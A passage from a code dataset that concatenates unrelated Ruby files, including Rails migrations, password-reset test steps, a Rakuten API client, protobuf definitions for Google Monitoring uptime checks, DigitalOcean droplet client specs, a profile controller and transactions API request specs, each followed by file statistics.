t.attachment :solution
end
end
def self.down
remove_attachment :assignments, :solution
end
end
| 19.5 | 66 | 0.739316 |
18c20a724e97336f655f0b8dde2788c0b82cac63 | 2,144 | module ResetPasswordSteps
attr_accessor :new_user
# GIVEN
# WHEN
step 'I click forgot password link on login page' do
LoginPage.open
LoginPage.on { navigate_to_forgot_password_page }
end
step 'I fill and submit form on forgot password page with correct email data' do
s = self
ForgotPasswordPage.on do
fill_form(email: s.user.email)
submit_form
end
end
step 'I fill and submit form on change password page with correct data' do
s = self
self.new_user = build(:user)
ChangePasswordPage.on do
fill_form(new_password: s.new_user.password,
confirm_new_password: s.new_user.password)
submit_form
end
end
step 'I fill and submit form on change password page with not identical data' do
ChangePasswordPage.on do
fill_form(new_password: 1_234_567_890,
confirm_new_password: 1_234_567)
submit_form
end
end
step 'I fill and submit form on change password page with identical data less than 8 characters' do
ChangePasswordPage.on do
fill_form(new_password: 1_234_567,
confirm_new_password: 1_234_567)
submit_form
end
end
step 'I receive and confirm resetting password from confirmation email' do
ResetPasswordConfirmationEmail.find_by_recipient(user.email).reset_password
end
step 'I fill and submit form on forgot password page with blank email field' do
ForgotPasswordPage.on do
fill_form(email: '')
submit_form
end
end
step 'I fill and submit form on forgot password page with not existent email' do
s = self
self.new_user = build(:user)
ForgotPasswordPage.on do
fill_form(email: s.new_user.email)
submit_form
end
end
step 'I fill and submit form on forgot password page with not email data' do
ForgotPasswordPage.on do
fill_form(email: 'test.1234567890')
submit_form
end
end
# THEN
step 'forgot password page should be displayed' do
expect(ForgotPasswordPage).to be_displayed
end
end
RSpec.configure { |c| c.include ResetPasswordSteps, reset_password_steps: true }
| 26.146341 | 101 | 0.708022 |
bf11e371faea6626596a194c4ff5c4a62ebd54ba | 502 | # frozen_string_literal: true
require 'rakuten_web_service/resource'
module RakutenWebService
module Ichiba
class TagGroup < Resource
endpoint 'https://app.rakuten.co.jp/services/api/IchibaTag/Search/20140222'
parser do |response|
response['tagGroups'].map { |tag_group| TagGroup.new(tag_group) }
end
attribute :tagGroupName, :tagGroupId
def tags
get_attribute('tags').map do |tag|
Tag.new(tag)
end
end
end
end
end
| 20.916667 | 81 | 0.659363 |
33046bba622ab1b472c4e7a3dffecbaec18edc5a | 204 | #!/usr/bin/ruby
#get sting "One two three four five". transform it to sting "One Two Three Four Five"
str = "One two three four five"
str = str.split(' ')
str.each {|x| x.capitalize!}
puts str.join(" ")
| 25.5 | 85 | 0.671569 |
1ce47a1a24968a54382830de74d46a5144093e75 | 702 | # frozen_string_literal: true
# == Schema Information
#
# Table name: award_scribes
#
# id :integer not null, primary key
# award_recipient_id :integer
# person_id :integer
# award_scribe_type_id :integer
# created_at :datetime not null
# updated_at :datetime not null
#
# Indexes
#
# index_award_scribes_on_award_recipient_id (award_recipient_id)
# index_award_scribes_on_award_scribe_type_id (award_scribe_type_id)
# index_award_scribes_on_person_id (person_id)
#
FactoryBot.define do
factory :award_scribe do
award_recipient { nil }
user { nil }
award_scribe_type { nil }
end
end
| 25.071429 | 70 | 0.666667 |
bf30fbdfdd6fa24182a24504ce8053293c4388d4 | 341 | require 'spec_helper'
describe "/node_classes/show.html.haml", :type => :view do
include NodeClassesHelper
describe "successful render" do
before :each do
assigns[:node_class] = @node_class = create(:node_class)
render
end
it { rendered.should have_tag 'h2', :text => /Class:\n#{@node_class.name}/ }
end
end
| 22.733333 | 80 | 0.674487 |
79d4614647419164d0231e4aebc65b6230f7cdbb | 5,479 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/monitoring/v3/uptime.proto
require 'google/protobuf'
require 'google/api/monitored_resource_pb'
require 'google/protobuf/duration_pb'
Google::Protobuf::DescriptorPool.generated_pool.build do
add_message "google.monitoring.v3.InternalChecker" do
optional :name, :string, 1
optional :display_name, :string, 2
optional :network, :string, 3
optional :gcp_zone, :string, 4
optional :peer_project_id, :string, 6
optional :state, :enum, 7, "google.monitoring.v3.InternalChecker.State"
end
add_enum "google.monitoring.v3.InternalChecker.State" do
value :UNSPECIFIED, 0
value :CREATING, 1
value :RUNNING, 2
end
add_message "google.monitoring.v3.UptimeCheckConfig" do
optional :name, :string, 1
optional :display_name, :string, 2
optional :period, :message, 7, "google.protobuf.Duration"
optional :timeout, :message, 8, "google.protobuf.Duration"
repeated :content_matchers, :message, 9, "google.monitoring.v3.UptimeCheckConfig.ContentMatcher"
repeated :selected_regions, :enum, 10, "google.monitoring.v3.UptimeCheckRegion"
repeated :internal_checkers, :message, 14, "google.monitoring.v3.InternalChecker"
oneof :resource do
optional :monitored_resource, :message, 3, "google.api.MonitoredResource"
optional :resource_group, :message, 4, "google.monitoring.v3.UptimeCheckConfig.ResourceGroup"
end
oneof :check_request_type do
optional :http_check, :message, 5, "google.monitoring.v3.UptimeCheckConfig.HttpCheck"
optional :tcp_check, :message, 6, "google.monitoring.v3.UptimeCheckConfig.TcpCheck"
end
end
add_message "google.monitoring.v3.UptimeCheckConfig.ResourceGroup" do
optional :group_id, :string, 1
optional :resource_type, :enum, 2, "google.monitoring.v3.GroupResourceType"
end
add_message "google.monitoring.v3.UptimeCheckConfig.HttpCheck" do
optional :use_ssl, :bool, 1
optional :path, :string, 2
optional :port, :int32, 3
optional :auth_info, :message, 4, "google.monitoring.v3.UptimeCheckConfig.HttpCheck.BasicAuthentication"
optional :mask_headers, :bool, 5
map :headers, :string, :string, 6
optional :validate_ssl, :bool, 7
end
add_message "google.monitoring.v3.UptimeCheckConfig.HttpCheck.BasicAuthentication" do
optional :username, :string, 1
optional :password, :string, 2
end
add_message "google.monitoring.v3.UptimeCheckConfig.TcpCheck" do
optional :port, :int32, 1
end
add_message "google.monitoring.v3.UptimeCheckConfig.ContentMatcher" do
optional :content, :string, 1
optional :matcher, :enum, 2, "google.monitoring.v3.UptimeCheckConfig.ContentMatcher.ContentMatcherOption"
end
add_enum "google.monitoring.v3.UptimeCheckConfig.ContentMatcher.ContentMatcherOption" do
value :CONTENT_MATCHER_OPTION_UNSPECIFIED, 0
value :CONTAINS_STRING, 1
value :NOT_CONTAINS_STRING, 2
value :MATCHES_REGEX, 3
value :NOT_MATCHES_REGEX, 4
end
add_message "google.monitoring.v3.UptimeCheckIp" do
optional :region, :enum, 1, "google.monitoring.v3.UptimeCheckRegion"
optional :location, :string, 2
optional :ip_address, :string, 3
end
add_enum "google.monitoring.v3.UptimeCheckRegion" do
value :REGION_UNSPECIFIED, 0
value :USA, 1
value :EUROPE, 2
value :SOUTH_AMERICA, 3
value :ASIA_PACIFIC, 4
end
add_enum "google.monitoring.v3.GroupResourceType" do
value :RESOURCE_TYPE_UNSPECIFIED, 0
value :INSTANCE, 1
value :AWS_ELB_LOAD_BALANCER, 2
end
end
module Google
module Monitoring
module V3
InternalChecker = Google::Protobuf::DescriptorPool.generated_pool.lookup("google.monitoring.v3.InternalChecker").msgclass
InternalChecker::State = Google::Protobuf::DescriptorPool.generated_pool.lookup("google.monitoring.v3.InternalChecker.State").enummodule
UptimeCheckConfig = Google::Protobuf::DescriptorPool.generated_pool.lookup("google.monitoring.v3.UptimeCheckConfig").msgclass
UptimeCheckConfig::ResourceGroup = Google::Protobuf::DescriptorPool.generated_pool.lookup("google.monitoring.v3.UptimeCheckConfig.ResourceGroup").msgclass
UptimeCheckConfig::HttpCheck = Google::Protobuf::DescriptorPool.generated_pool.lookup("google.monitoring.v3.UptimeCheckConfig.HttpCheck").msgclass
UptimeCheckConfig::HttpCheck::BasicAuthentication = Google::Protobuf::DescriptorPool.generated_pool.lookup("google.monitoring.v3.UptimeCheckConfig.HttpCheck.BasicAuthentication").msgclass
UptimeCheckConfig::TcpCheck = Google::Protobuf::DescriptorPool.generated_pool.lookup("google.monitoring.v3.UptimeCheckConfig.TcpCheck").msgclass
UptimeCheckConfig::ContentMatcher = Google::Protobuf::DescriptorPool.generated_pool.lookup("google.monitoring.v3.UptimeCheckConfig.ContentMatcher").msgclass
UptimeCheckConfig::ContentMatcher::ContentMatcherOption = Google::Protobuf::DescriptorPool.generated_pool.lookup("google.monitoring.v3.UptimeCheckConfig.ContentMatcher.ContentMatcherOption").enummodule
UptimeCheckIp = Google::Protobuf::DescriptorPool.generated_pool.lookup("google.monitoring.v3.UptimeCheckIp").msgclass
UptimeCheckRegion = Google::Protobuf::DescriptorPool.generated_pool.lookup("google.monitoring.v3.UptimeCheckRegion").enummodule
GroupResourceType = Google::Protobuf::DescriptorPool.generated_pool.lookup("google.monitoring.v3.GroupResourceType").enummodule
end
end
end
| 50.731481 | 207 | 0.772404 |
18d77c7e899df8891853e62f67f13e8e9f42f633 | 699 | Pod::Spec.new do |s|
s.name = "PaymentKit"
s.version = "1.0.0"
s.summary = "Utility library for creating credit card payment forms."
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.homepage = "https://stripe.com"
s.author = { "Alex MacCaw" => "[email protected]" }
s.source = { :git => "https://github.com/stripe/PaymentKit.git", :tag => "v1.0.0"}
s.source_files = 'PaymentKit/*.{h,m}'
s.public_header_files = 'PaymentKit/*.h'
s.resources = 'PaymentKit/Resources/Cards/*.png', 'PaymentKit/Resources/*.png'
s.platform = :ios
s.requires_arc = true
end | 49.928571 | 97 | 0.529328 |
f7816d59fcac7a0f49f116b5a5fb3f7db2a06aba | 226 | class DropIsPrimaryFromAttendees < ActiveRecord::Migration
def up
remove_column :attendees, :is_primary
end
def down
add_column :attendees, :is_primary, :boolean, { :null => false, :default => false }
end
end
| 22.6 | 87 | 0.716814 |
011e9760e0e63c691d8cfdb4e159e859285b9aca | 9,971 | require 'spec_helper'
describe Barge::Resource::Droplet do
include_context 'resource'
it_behaves_like 'a resource'
describe '#create' do
it 'creates a droplet' do
stubbed_request =
stub_request!(:post, '/droplets')
.to_return(body: fixture('droplets/create'), status: 202)
options = { name: 'x', image: 123 }
expect(droplet.create(options).droplet.id).to be 24
expect(stubbed_request.with(body: options.to_json))
.to have_been_requested
end
end
describe '#all' do
it 'lists all droplets' do
stubbed_request =
stub_request!(:get, '/droplets')
.to_return(body: fixture('droplets/all'), status: 200)
expect(droplet.all.droplets)
.to include a_hash_including(name: 'test.example.com')
expect(stubbed_request).to have_been_requested
end
it 'accepts an options hash' do
stubbed_request =
stub_request!(:get, '/droplets?per_page=3&page=5')
.to_return(body: fixture('droplets/all'), status: 200)
expect(droplet.all(per_page: 3, page: 5).droplets)
.to include a_hash_including(name: 'test.example.com')
expect(stubbed_request).to have_been_requested
end
end
describe '#show' do
it 'returns information about a specific droplet' do
stubbed_request =
stub_request!(:get, '/droplets/10')
.to_return(body: fixture('droplets/show'), status: 200)
expect(droplet.show(10).droplet.name).to eq 'test.example.com'
expect(stubbed_request).to have_been_requested
end
end
describe '#backups' do
it 'shows droplet backups' do
stubbed_request =
stub_request!(:get, '/droplets/33/backups')
.to_return(body: fixture('droplets/backups'), status: 200)
expect(droplet.backups(33).backups)
.to include a_hash_including(distribution: 'ubuntu')
expect(stubbed_request).to have_been_requested
end
end
describe '#kernels' do
it 'shows available kernels' do
stubbed_request =
stub_request!(:get, '/droplets/52/kernels')
.to_return(body: fixture('droplets/kernels'), status: 200)
expect(droplet.kernels(52).kernels)
.to include a_hash_including(version: '3.13.0-24-generic')
expect(stubbed_request).to have_been_requested
end
end
describe '#snapshots' do
it 'shows droplet snapshots' do
stubbed_request =
stub_request!(:get, '/droplets/34/snapshots')
.to_return(body: fixture('droplets/snapshots'), status: 200)
expect(droplet.snapshots(34).snapshots)
.to include a_hash_including(distribution: 'ubuntu')
expect(stubbed_request).to have_been_requested
end
end
describe '#destroy' do
it 'destroys a droplet' do
stubbed_request =
stub_request!(:delete, '/droplets/11').to_return(status: 202)
expect(droplet.destroy(11).success?).to be true
expect(stubbed_request).to have_been_requested
end
end
describe '#rename' do
it 'renames a droplet' do
stubbed_request =
stub_request!(:post, '/droplets/12/actions')
.to_return(body: fixture('droplets/rename'), status: 200)
expect(droplet.rename(12, name: 'new_name').action.type).to eq 'rename'
expect(stubbed_request
.with(body: { type: :rename, name: :new_name }.to_json))
.to have_been_requested
end
end
describe '#snapshot' do
it 'create a snapshot of a droplet' do
stubbed_request =
stub_request!(:post, '/droplets/36/actions')
.to_return(body: fixture('droplets/snapshot'), status: 200)
expect(droplet.snapshot(36, name: 'image_name').action.type)
.to eq 'snapshot'
expect(stubbed_request
.with(body: { type: :snapshot, name: :image_name }.to_json))
.to have_been_requested
end
end
describe '#reboot' do
it 'reboots a droplet' do
stubbed_request =
stub_request!(:post, '/droplets/13/actions')
.to_return(body: fixture('droplets/reboot'), status: 200)
expect(droplet.reboot(13).action.type).to eq 'reboot'
expect(stubbed_request
.with(body: { type: :reboot }.to_json)).to have_been_requested
end
end
describe '#shutdown' do
it 'shuts down a droplet' do
stubbed_request =
stub_request!(:post, '/droplets/20/actions')
.to_return(body: fixture('droplets/shutdown'), status: 200)
expect(droplet.shutdown(20).action.type).to eq 'shutdown'
expect(stubbed_request
.with(body: { type: :shutdown }.to_json)).to have_been_requested
end
end
describe '#power_off' do
it 'powers off a droplet' do
stubbed_request =
stub_request!(:post, '/droplets/14/actions')
.to_return(body: fixture('droplets/power_off'), status: 200)
expect(droplet.power_off(14).action.type).to eq 'power_off'
expect(stubbed_request
.with(body: { type: :power_off }.to_json)).to have_been_requested
end
end
describe '#power_cycle' do
it 'powers cycles a droplet' do
stubbed_request =
stub_request!(:post, '/droplets/15/actions')
.to_return(body: fixture('droplets/power_cycle'), status: 200)
expect(droplet.power_cycle(15).action.type).to eq 'power_cycle'
expect(stubbed_request
.with(body: { type: :power_cycle }.to_json)).to have_been_requested
end
end
describe '#power_on' do
it 'powers on a droplet' do
stubbed_request =
stub_request!(:post, '/droplets/15/actions')
.to_return(body: fixture('droplets/power_on'), status: 200)
expect(droplet.power_on(15).action.type).to eq 'power_on'
expect(stubbed_request
.with(body: { type: :power_on }.to_json)).to have_been_requested
end
end
describe '#resize' do
it 'resizes a droplet' do
stubbed_request =
stub_request!(:post, '/droplets/17/actions')
.to_return(body: fixture('droplets/resize'), status: 200)
expect(droplet.resize(17, size: '1024m').action.type).to eq 'resize'
expect(stubbed_request
.with(body: { type: :resize, size: '1024m' }.to_json))
.to have_been_requested
end
end
describe '#rebuild' do
it 'rebuilds a droplet' do
stubbed_request =
stub_request!(:post, '/droplets/18/actions')
.to_return(body: fixture('droplets/rebuild'), status: 200)
expect(droplet.rebuild(18, image: 100).action.type).to eq 'rebuild'
expect(stubbed_request
.with(body: { type: :rebuild, image: 100 }.to_json))
.to have_been_requested
end
end
describe '#restore' do
it 'restores a droplet' do
stubbed_request =
stub_request!(:post, '/droplets/19/actions')
.to_return(body: fixture('droplets/restore'), status: 200)
expect(droplet.restore(19, image: 101).action.type).to eq 'restore'
expect(stubbed_request
.with(body: { type: :restore, image: 101 }.to_json))
.to have_been_requested
end
end
describe '#password_reset' do
it "resets a droplet's password" do
stubbed_request =
stub_request!(:post, '/droplets/21/actions')
.to_return(body: fixture('droplets/password_reset'), status: 200)
expect(droplet.password_reset(21).action.type).to eq 'password_reset'
expect(stubbed_request
.with(body: { type: :password_reset }.to_json)).to have_been_requested
end
end
describe '#change_kernel' do
it 'changes the kernel' do
stubbed_request =
stub_request!(:post, '/droplets/219/actions')
.to_return(body: fixture('droplets/change_kernel'), status: 200)
expect(droplet.change_kernel(219, kernel: 313).action)
.to include type: 'change_kernel'
expect(stubbed_request
.with(body: { type: :change_kernel, kernel: 313 }.to_json))
.to have_been_requested
end
end
describe '#enable_ipv6' do
it 'enables IPv6' do
stubbed_request =
stub_request!(:post, '/droplets/220/actions')
.to_return(body: fixture('droplets/enable_ipv6'), status: 200)
expect(droplet.enable_ipv6(220).action).to include type: 'enable_ipv6'
expect(stubbed_request.with(body: { type: :enable_ipv6 }.to_json))
.to have_been_requested
end
end
describe '#disable_backups' do
it 'disables backups' do
stubbed_request =
stub_request!(:post, '/droplets/221/actions')
.to_return(body: fixture('droplets/disable_backups'), status: 200)
expect(droplet.disable_backups(221).action.type).to eq 'disable_backups'
expect(stubbed_request.with(body: { type: :disable_backups }.to_json))
.to have_been_requested
end
end
describe '#enable_private_networking' do
it 'enables private networking' do
to_return = {
body: fixture('droplets/enable_private_networking'), status: 200
}
stubbed_request =
stub_request!(:post, '/droplets/222/actions').to_return(to_return)
expect(droplet.enable_private_networking(222).action.type)
.to eq 'enable_private_networking'
expect(stubbed_request
.with(body: { type: :enable_private_networking }.to_json))
.to have_been_requested
end
end
describe '#actions' do
it 'shows droplet actions' do
stubbed_request =
stub_request!(:get, '/droplets/51/actions')
.to_return(body: fixture('droplets/actions'), status: 200)
expect(droplet.actions(51).actions)
.to include a_hash_including(resource_id: 23)
expect(stubbed_request).to have_been_requested
end
end
describe '#show_action' do
it 'shows action information' do
stubbed_request =
stub_request!(:get, '/droplets/30/actions/40')
.to_return(body: fixture('droplets/show_action'), status: 200)
expect(droplet.show_action(30, 40).action.type).to eq 'create'
expect(stubbed_request).to have_been_requested
end
end
end
| 34.50173 | 78 | 0.661719 |
87222ce7389ac420110f7b8ebaafe424e77fac6f | 1,719 | class ProfileUserController < ApplicationController
layout "profile_user"
before_action :set_user, only: [:index, :show, :edit, :update, :pets, :duties, :feed, :friends]
def index
@user = ProfileUser.find_or_create_by(user_id: current_user.id)
end
def show
end
def edit
end
def update
if @user.update(params_user)
redirect_to profile_user_path(current_user.id) , notice: "Dados atualizados com sucesso."
else
render :edit
end
end
def pets
@pets = @user.pets
end
def duties
params["field_order"] ||= 'until'
session[:order] = session[:order] ? toggle_order(session[:order]) : 'DESC'
@duties = @user.duties.order("#{params["field_order"]} #{session[:order]}")
end
def feed
@duties = @user.duties.order(updated_at: :desc)
@groups = @user.groups.order(updated_at: :desc)
@pets = @user.pets.order(updated_at: :desc)
@groupsUsers = Group.joins("INNER JOIN groups_profile_users ON groups_profile_users.group_id = groups.id
INNER JOIN profile_users ON profile_users.id = groups_profile_users.profile_user_id")
.where(groups: { id: @groups })
.select("groups_profile_users.*, groups.name, profile_users.first_name")
.order(created_at: :desc)
end
def friends
@friends = @user.profile_users.where.not(id: current_user.id).distinct
end
private
def set_user
@user = ProfileUser.find(params[:id])
end
def params_user
params.require(:profile_user).permit(:first_name, :last_name, :birthday, :address, :phone, :picture)
end
def toggle_order(order)
order == 'DESC' ? 'ASC' : 'DESC'
end
end
| 27.285714 | 117 | 0.652123 |
bf2e4e26f573bc097284636122743eab406cfaf0 | 29,925 | # frozen_string_literal: true
require 'rails_helper'
require 'shared/api/v1/shared_expectations'
require 'base64'
RSpec.describe Api::V2::TransactionsController, type: :request do
include RequestHelpers
describe 'GET api/v2/transactions' do
let(:application) { create(:application) }
let(:team) { create :team }
let(:user) { create(:user) }
let(:token) do
Doorkeeper::AccessToken.create! application_id: application.id,
resource_owner_id: user.id
end
let (:request) { '/api/v2/transactions' }
let! (:transaction1) { create(:transaction, :image, team_id: team.id) }
let! (:transaction2) { create(:transaction, team_id: team.id) }
let! (:record_count_before_request) { Transaction.count }
context 'with a valid api-token' do
before do
team.add_member(user)
get request, headers: {
'Authorization': "Bearer #{token.token}",
'Content-Type': 'application/json',
'Team': team.id
}
end
expect_transaction_count_same
it 'returns all transactions' do
expected =
{
data: [
{
id: transaction1.id.to_s,
type: 'transactions',
links: {
self: "http://www.example.com#{request}/#{transaction1.id}"
},
attributes: {
'created-at': to_api_timestamp_format(transaction1.created_at),
'updated-at': to_api_timestamp_format(transaction1.updated_at),
amount: transaction1.amount,
activity: transaction1.activity.name,
'votes-count': transaction1.likes_amount,
'api-user-voted': (user.voted_on? transaction1),
'image-url-original': transaction1.image.url,
'image-url-thumb': transaction1.image.url(:thumb),
'image-file-name': transaction1.image_file_name,
'image-content-type': transaction1.image_content_type,
'image-file-size': transaction1.image_file_size,
'image-updated-at': to_api_timestamp_format(transaction1.image_updated_at)
},
relationships: {
sender: {
links: {
self: "http://www.example.com#{request}/#{transaction1.id}/relationships/sender",
related: "http://www.example.com#{request}/#{transaction1.id}/sender"
}
},
receiver: {
links: {
self: "http://www.example.com#{request}/#{transaction1.id}/relationships/receiver",
related: "http://www.example.com#{request}/#{transaction1.id}/receiver"
}
},
balance: {
links: {
self: "http://www.example.com#{request}/#{transaction1.id}/relationships/balance",
related: "http://www.example.com#{request}/#{transaction1.id}/balance"
}
}
}
},
{
id: transaction2.id.to_s,
type: 'transactions',
links: {
self: "http://www.example.com#{request}/#{transaction2.id}"
},
attributes: {
'created-at': to_api_timestamp_format(transaction2.created_at),
'updated-at': to_api_timestamp_format(transaction2.updated_at),
amount: transaction2.amount,
activity: transaction2.activity.name,
'votes-count': transaction2.likes_amount,
'api-user-voted': (user.voted_on? transaction2),
'image-url-original': nil,
'image-url-thumb': nil,
'image-file-name': nil,
'image-content-type': nil,
'image-file-size': nil,
'image-updated-at': nil
},
relationships: {
sender: {
links: {
self: "http://www.example.com#{request}/#{transaction2.id}/relationships/sender",
related: "http://www.example.com#{request}/#{transaction2.id}/sender"
}
},
receiver: {
links: {
self: "http://www.example.com#{request}/#{transaction2.id}/relationships/receiver",
related: "http://www.example.com#{request}/#{transaction2.id}/receiver"
}
},
balance: {
links: {
self: "http://www.example.com#{request}/#{transaction2.id}/relationships/balance",
related: "http://www.example.com#{request}/#{transaction2.id}/balance"
}
}
}
}
],
links: {
first: "http://www.example.com#{request}?page%5Blimit%5D=10&page%5Boffset%5D=0",
last: "http://www.example.com#{request}?page%5Blimit%5D=10&page%5Boffset%5D=0"
}
}.with_indifferent_access
expect(json).to eq(expected)
end
expect_status_200_ok
end
context 'with an invalid api-token' do
before do
get request, headers: { 'Api-Token': 'invalid api-token' }
end
expect_transaction_count_same
expect_unauthorized_response
expect_status_401_unauthorized
end
context 'without an api-token' do
before do
get request
end
expect_transaction_count_same
expect_unauthorized_response
expect_status_401_unauthorized
end
end
describe 'GET api/v2/transactions?page[limit]=:limit&page[offset]=:offset' do
let(:application) { create(:application) }
let(:team) { create :team }
let(:user) { create(:user) }
let(:token) do
Doorkeeper::AccessToken.create! application_id: application.id,
resource_owner_id: user.id
end
let (:request) { '/api/v2/transactions?page[limit]=1&page[offset]=2' }
let! (:transaction1) { create(:transaction, team_id: team.id) }
let! (:transaction2) { create(:transaction, team_id: team.id) }
let! (:transaction3) { create(:transaction, team_id: team.id) }
let! (:transaction4) { create(:transaction, team_id: team.id) }
let! (:transaction5) { create(:transaction, team_id: team.id) }
let! (:record_count_before_request) { Transaction.count }
context 'with a valid api-token' do
let (:user) { create(:user, :api_token) }
before do
team.add_member(user)
get request, headers: {
'Authorization': "Bearer #{token.token}",
'Content-Type': 'application/json',
'Team': team.id
}
end
expect_transaction_count_same
it 'returns a paginated collection of transactions' do
expected =
{
data: [
{
id: transaction3.id.to_s,
type: 'transactions',
links: {
self: "http://www.example.com/api/v2/transactions/#{transaction3.id}"
},
attributes: {
'created-at': to_api_timestamp_format(transaction3.created_at),
'updated-at': to_api_timestamp_format(transaction3.updated_at),
amount: transaction3.amount,
activity: transaction3.activity.name,
'votes-count': transaction3.likes_amount,
'api-user-voted': (user.voted_on? transaction3),
'image-url-original': nil,
'image-url-thumb': nil,
'image-file-name': nil,
'image-content-type': nil,
'image-file-size': nil,
'image-updated-at': nil
},
relationships: {
sender: {
links: {
self: "http://www.example.com/api/v2/transactions/#{transaction3.id}/relationships/sender",
related: "http://www.example.com/api/v2/transactions/#{transaction3.id}/sender"
}
},
receiver: {
links: {
self: "http://www.example.com/api/v2/transactions/#{transaction3.id}/relationships/receiver",
related: "http://www.example.com/api/v2/transactions/#{transaction3.id}/receiver"
}
},
balance: {
links: {
self: "http://www.example.com/api/v2/transactions/#{transaction3.id}/relationships/balance",
related: "http://www.example.com/api/v2/transactions/#{transaction3.id}/balance"
}
}
}
}
],
links: {
first: 'http://www.example.com/api/v2/transactions?page%5Blimit%5D=1&page%5Boffset%5D=0',
prev: 'http://www.example.com/api/v2/transactions?page%5Blimit%5D=1&page%5Boffset%5D=1',
next: 'http://www.example.com/api/v2/transactions?page%5Blimit%5D=1&page%5Boffset%5D=3',
last: 'http://www.example.com/api/v2/transactions?page%5Blimit%5D=1&page%5Boffset%5D=4'
}
}.with_indifferent_access
expect(json).to eq(expected)
end
expect_status_200_ok
end
context 'with an invalid api-token' do
before do
get request, format: :json, access_token: 'Invalid token'
end
expect_transaction_count_same
expect_unauthorized_response
expect_status_401_unauthorized
end
context 'without an api-token' do
before do
get request
end
expect_transaction_count_same
expect_unauthorized_response
expect_status_401_unauthorized
end
end
describe 'GET api/v2/transactions/:id' do
let(:application) { create(:application) }
let(:team) { create :team }
let(:user) { create(:user) }
let(:token) do
Doorkeeper::AccessToken.create! application_id: application.id,
resource_owner_id: user.id
end
let (:request) { "/api/v2/transactions/#{transaction.id}" }
let! (:transaction) { create(:transaction, :image, team_id: team.id) }
let! (:record_count_before_request) { Transaction.count }
context 'with a valid api-token' do
before do
team.add_member(user)
get request, headers: {
'Authorization': "Bearer #{token.token}",
'Content-Type': 'application/json',
'Team': team.id
}
end
expect_transaction_count_same
it 'returns the transaction associated with the id' do
expected =
{
data: {
id: transaction.id.to_s,
type: 'transactions',
links: {
self: "http://www.example.com#{request}"
},
attributes: {
'created-at': to_api_timestamp_format(transaction.created_at),
'updated-at': to_api_timestamp_format(transaction.updated_at),
amount: transaction.amount,
activity: transaction.activity.name,
'votes-count': transaction.likes_amount,
'api-user-voted': (user.voted_on? transaction),
'image-url-original': transaction.image.url,
'image-url-thumb': transaction.image.url(:thumb),
'image-file-name': transaction.image_file_name,
'image-content-type': transaction.image_content_type,
'image-file-size': transaction.image_file_size,
'image-updated-at': to_api_timestamp_format(transaction.image_updated_at)
},
relationships: {
sender: {
links: {
self: "http://www.example.com#{request}/relationships/sender",
related: "http://www.example.com#{request}/sender"
}
},
receiver: {
links: {
self: "http://www.example.com#{request}/relationships/receiver",
related: "http://www.example.com#{request}/receiver"
}
},
balance: {
links: {
self: "http://www.example.com#{request}/relationships/balance",
related: "http://www.example.com#{request}/balance"
}
}
}
}
}.with_indifferent_access
expect(json).to eq(expected)
end
expect_status_200_ok
end
context 'with an invalid api-token' do
before do
get request, headers: {
'Authorization': 'Invalid',
'Content-Type': 'application/json',
'Team': team.id
}
end
expect_transaction_count_same
expect_unauthorized_response
expect_status_401_unauthorized
end
context 'without an api-token' do
before do
get request
end
expect_transaction_count_same
expect_unauthorized_response
expect_status_401_unauthorized
end
end
describe 'POST api/v2/transactions' do
let(:application) { create(:application) }
let(:team) { create :team }
let! (:receiver) { create(:user, name: 'Receiver') }
let(:sender) { create(:user) }
let(:token) do
Doorkeeper::AccessToken.create! application_id: application.id,
resource_owner_id: sender.id
end
let (:request) { '/api/v2/transactions' }
let! (:transaction) { build(:transaction, team_id: team.id) }
let! (:balance) { Balance.current(team) }
let! (:record_count_before_request) { Transaction.count }
context 'with a valid api-token' do
context 'and an image attachment' do
before do
team.add_member(sender)
team.add_member(receiver)
post request,
headers: {
'Authorization': "Bearer #{token.token}",
'Content-Type': 'application/vnd.api+json',
'Team': team.id
},
params: {
data: {
type: 'transactions',
attributes: {
amount: transaction.amount,
activity: transaction.activity.name,
image: Base64.encode64(File.open(Rails.root + 'spec/fixtures/images/rails.png', &:read)),
'image-file-type': 'png'
},
relationships: {
receiver: {
data: {
type: 'users',
name: receiver.name
}
}
}
}
}.to_json
end
it 'persists the created transaction with an image attachment' do
new_transaction = Transaction.find(assigned_id)
expect(new_transaction.amount).to eq(transaction.amount)
end
expect_transaction_count_increase
it 'returns the created transaction' do
expected =
{
data: {
id: assigned_id,
type: 'transactions',
links: {
self: "http://www.example.com#{request}/#{assigned_id}"
},
attributes: {
'created-at': assigned_created_at,
'updated-at': assigned_updated_at,
amount: transaction.amount,
activity: transaction.activity.name,
'votes-count': transaction.likes_amount,
'api-user-voted': (sender.voted_on? transaction),
'image-url-original': json['data']['attributes']['image-url-original'],
'image-url-thumb': json['data']['attributes']['image-url-thumb'],
'image-file-name': 'image.png',
'image-content-type': 'image/png',
'image-file-size': json['data']['attributes']['image-file-size'],
'image-updated-at': json['data']['attributes']['image-updated-at']
},
relationships: {
sender: {
links: {
self: "http://www.example.com/api/v2/transactions/#{assigned_id}/relationships/sender",
related: "http://www.example.com/api/v2/transactions/#{assigned_id}/sender"
}
},
receiver: {
links: {
self: "http://www.example.com/api/v2/transactions/#{assigned_id}/relationships/receiver",
related: "http://www.example.com/api/v2/transactions/#{assigned_id}/receiver"
}
},
balance: {
links: {
self: "http://www.example.com/api/v2/transactions/#{assigned_id}/relationships/balance",
related: "http://www.example.com/api/v2/transactions/#{assigned_id}/balance"
}
}
}
}
}.with_indifferent_access
expect(json).to eq(expected)
end
it 'creates a transaction with the right sender name' do
expect(Transaction.last.sender.name).to eq(sender.name)
end
it 'creates a transaction in the right team' do
expect(Transaction.last.team_id).to eq(team.id)
end
expect_status_201_created
end
context 'and without an image attachment' do
before do
team.add_member(sender)
team.add_member(receiver)
post request,
headers: {
'Authorization': "Bearer #{token.token}",
'Content-Type': 'application/vnd.api+json',
'Team': team.id
},
params: {
data: {
type: 'transactions',
attributes: {
amount: transaction.amount,
activity: transaction.activity.name
},
relationships: {
receiver: {
data: {
type: 'users',
name: receiver.name
}
}
}
}
}.to_json
end
it 'persists the created transaction without an image attachment' do
new_transaction = Transaction.find(assigned_id)
expect(new_transaction.amount).to eq(transaction.amount)
end
expect_transaction_count_increase
it 'returns the created transaction' do
expected =
{
data: {
id: assigned_id,
type: 'transactions',
links: {
self: "http://www.example.com#{request}/#{assigned_id}"
},
attributes: {
'created-at': assigned_created_at,
'updated-at': assigned_updated_at,
amount: transaction.amount,
activity: transaction.activity.name,
'votes-count': transaction.likes_amount,
'api-user-voted': (sender.voted_on? transaction),
'image-url-original': nil,
'image-url-thumb': nil,
'image-file-name': nil,
